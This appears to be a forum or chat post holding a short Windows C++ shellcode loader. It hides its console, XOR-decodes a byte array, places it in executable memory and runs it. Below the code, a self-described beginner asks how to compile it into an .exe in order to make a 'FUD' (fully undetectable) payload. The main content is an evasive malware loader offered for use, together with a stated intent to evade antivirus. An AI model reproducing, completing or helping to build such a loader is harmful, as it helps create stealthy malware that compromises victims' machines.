main.cpp

#include <windows.h>
#include <iostream>
int main(int argc, char **argv) {
    ShowWindow(GetConsoleWindow(), SW_HIDE);
    char b[] = { };
    char c[sizeof b];
    for (int i = 0; i < sizeof b; i++) {c[i] = b[i] ^ 'x';}
    void *exec = VirtualAlloc(0, sizeof c, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, c, sizeof c);
    ((void(*)())exec)();
}

It's made to build on a Windows OS, not a Linux one.

oops, had another question, so i have to put this in Microsoft Visual Studio and run it ? or i should put it in Microsoft Visual Studio and transform it as a .exe ? As i said earlier i'm new to all of this and trying to create a FUD payload so ..
And thank's again for your help.